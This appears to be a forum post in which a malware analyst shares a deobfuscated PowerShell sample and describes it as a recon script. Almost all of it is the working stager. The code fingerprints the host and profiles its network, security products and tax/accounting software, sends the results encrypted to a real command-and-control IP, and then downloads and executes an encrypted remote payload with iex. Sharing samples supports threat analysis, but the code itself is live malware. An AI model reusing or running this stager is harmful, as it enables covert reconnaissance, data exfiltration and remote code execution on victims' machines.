Hello.
This is pretty interesting, seems to be a recon script(i dunno know if it's a know one and don't have time to check) in powershell. After multiple layer obfuscated with Invoke-Obfuscation and various download from the same ip, this is the code.
It is self explanatory at this stage just read the functions name :)
Code: Select allfunction GsdsetWweter {
$Serv = $args[0]
$SK = $args[1]
$USAG = $args[2]
$Null = [Reflection.Assembly]::LoadWithPartialName("System.Security");
$Null = [Reflection.Assembly]::LoadWithPartialName("System.Core");
$ErrorActionPreference = "SilentlyContinue";
$e=[System.Text.Encoding]::ASCII;
function Get-SysID($HashName = "MD5"){
[string]$ret = ""
$hd = gwmi win32_bios
$ret = $hd["SerialNumber"].ToString()
[string]$String = $([Environment]::UserName +[Environment]::MachineName + $ret).ToLower();
$StringBuilder = New-Object System.Text.StringBuilder
[System.Security.Cryptography.HashAlgorithm]::Create($HashName).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{
[Void]$StringBuilder.Append($_.ToString("x2"))
}
$e = $StringBuilder.ToString().ToLower()
$e
}
Function HasGet-Bretring($ht) {
$first = $true
foreach($pair in $ht.GetEnumerator()) {
if ($first)
{
$first = $false
}
else
{
$output += ';'
}
$output+="{0}" -f $($pair.Value)
}
$output
}
function Get-workconfig {
Get-WmiObject Win32_NetworkAdapter -Filter 'NetConnectionStatus=2' |
ForEach-Object {
$result = 1 | Select-Object Name, IP, MAC, ID
$result.Name = $_.Name
$result.MAC = $_.MacAddress
$result.ID = $_.DeviceID
$config = $_.GetRelated('Win32_NetworkAdapterConfiguration')
$result.IP = $config | Select-Object -expand IPAddress
$result
}
}
function Get-Sysinfo {
$str = [Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName;
$string = ""
foreach($c in Get-workconfig){
[string]$lanname = $c.Name; [string]$macadr = $c.MAC; [string]$ID = $c.ID
$ip = @{$true=$c.IP[0];$false=$p.IP}[$c.IP.Length -lt 6];
[string]$ip = $c.IP[0]; if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'};
$lanconf = @{
id = $ID
ip = $ip;
mac = $macadr;
name = $lanname;
}
$string += HasGet-Bretring $lanconf
$string += "!"
}
$o = (Get-WmiObject Win32_OperatingSystem)
$str += "|$string";
$str += '|' +$o.Name.split('|')[0];
if(([Environment]::UserName).ToLower() -eq "system"){
$str += '|True'
}
else{
$str += '|'+ ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
}
[void] [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
$Screens = [system.windows.forms.screen]::AllScreens
foreach ($Screen in $Screens) {
$Width = $Screen.Bounds.Width
$Height = $Screen.Bounds.Height
}
$str += '|' + "$Width`x$Height"
$n = [System.Diagnostics.Process]::GetCurrentProcess()
$str += '|'+$n.ProcessName+'|'+$n.Id
$str += '|' + $PSVersionTable.PSVersion.Major
$str += '|' + $ENV:PROCESSOR_ARCHITECTURE
$str += '|' + (gwmi win32_timeZone -ComputerName $env:ComputerName).caption
$str += '|' + $o.ConvertToDateTime($o.LastBootUpTime)
$str
}
function getlisturi{
$RandName = -join("abcdefghijklmoprstvuxyz".ToCharArray()|Get-Random -Count $args[0]);$ar = @('php','jsp','asp') | Get-Random;
$RandName + '.' + $ar
}
function Get-Soft {
param (
[Parameter(ValueFromPipeline=$true)]
[string[]]$ComputerName = $env:COMPUTERNAME,
[string]$NameRegex = '(Opera|Firefox|Chrome|TAX|Lacerte|OLT|ProSeries|Ultratax|Drake|Taxslayer|ProTaxPro|Taxwise|Avast|ESET|Malwarebytes|McAfee|Norton|Panda|Sophos|Webroot|Bitdefender|Symantec|Trust|EICAR|Virus|Firewall|Defender|Secury|Anti|Comodo|Kasper|quickbooks|keypass|ftp|ssh|Outlook)'
)
foreach ($comp in $ComputerName) {
$keys = '','\Wow6432Node'
foreach ($key in $keys) {
try {
$apps = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine',$comp).OpenSubKey("SOFTWARE$key\Microsoft\Windows\CurrentVersion\Uninstall").GetSubKeyNames()
} catch {
continue
}
foreach ($app in $apps) {
$program = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine',$comp).OpenSubKey("SOFTWARE$key\Microsoft\Windows\CurrentVersion\Uninstall\$app")
$name = $program.GetValue('DisplayName')
$str = ''
if ($name -and $name -match $NameRegex) {
$str += $name + ';'
$str
}
}
}
}
}
try {
$FirstAES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; }
catch {
$FirstAES=New-Object System.Security.Cryptography.RijndaelManaged;
}
$FirstIV = [byte] 0..255 | Get-Random -count 16;$FirstAES.Mode="CBC";
$FirstAES.Key=$e.GetBytes($SK);
$FirstAES.IV = $FirstIV;
$csp = New-Object System.Security.Cryptography.CspParameters;
$csp.Flags = $csp.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore;
$rs = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 2048,$csp;
$rk=$rs.ToXmlString($False);$ib=$e.getbytes($rk);
$eb=$FirstIV+$FirstAES.CreateEncryptor().TransformFinalBlock($ib,0,$ib.Length);
$BotIDXor= Get-SysID;
$EncodedText =[Convert]::ToBase64String($e.getbytes($BotIDXor));
$EncodedText2 =[Convert]::ToBase64String($e.getbytes($EncodedText));
if(-not $wc){
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$wc=new-object system.net.WebClient;
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy();
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
}
$wc.Headers.Add("User-Agent",$USAG);
$wc.Headers.Add("Cookie","SESSIONID:$EncodedText2");
$raw=$wc.UploadData($Serv + "/" + $(getlisturi 9),"POST",$eb);
write-host "STAGER GET raw " $raw
$de=$e.GetString($rs.decrypt($raw,$false));
$key=$de[0..($de.length-2)] -join '';
$k=$de[$de.length-1] -join '';
if ($k -eq 0) {
$str1 = Get-Sysinfo;
$str2 = Get-Soft;
$str = $str1 + '|' + $str2
}
else{$str = 'OK'+ '|' + ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") + '|' + ([System.Diagnostics.Process]::GetCurrentProcess()).id}
$SecondAES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;
$SecondIV = [byte] 0..255 | Get-Random -count 16;
$SecondAES.Mode="CBC"; $SecondAES.Key=$e.GetBytes($key); $SecondAES.IV = $SecondIV;
$ib2=$e.getbytes($str);
$eb2=$SecondIV+$SecondAES.CreateEncryptor().TransformFinalBlock($ib2,0,$ib2.Length);
$wc.Headers.Add("User-Agent",$USAG);
$raw=$wc.UploadData($Serv+ "/" + $(getlisturi 13),"POST",$eb2);
try {$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;}
catch {$AES=New-Object System.Security.Cryptography.RijndaelManaged;}
$AES.Mode="CBC";
$IV = $raw[0..15];$AES.Key=$e.GetBytes($key);$AES.IV = $IV;
$shelles = [System.Text.Encoding]::ASCII.GetString($($AES.CreateDecryptor().TransformFinalBlock($raw[16..$raw.Length],0,$raw.Length-16)))
iex $shelles
$FirstAES=$null;$BotIDXor=$null;$rs=$null;$eb2=$null;$raw=$null;$IV=$null;$str=$null;$ib2=$null;$SecondAES=$null;$AES=$null; $SecondIV=$null;$shelles= $null;
$Error.Clear()
[GC]::Collect()
[GC]::WaitForPendingFinalizers()
federerfegegfeg $key "SESSIONID:$EncodedText2" $Serv '/sale/getinfo.php,/getnews.asp,/update/news.html,/defender/main.jsp,/mains.asp|Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 Edge/12.0' $([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") $PSVersionTable.PSVersion.Major
}
GsdsetWweter 'https://192.96.206.191' ':nP&2[Ia+4E7)V~z.M5pvdrsXle$]!U(' 'Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 Edge/12.0'
https://ghostbin.com/paste/83av7
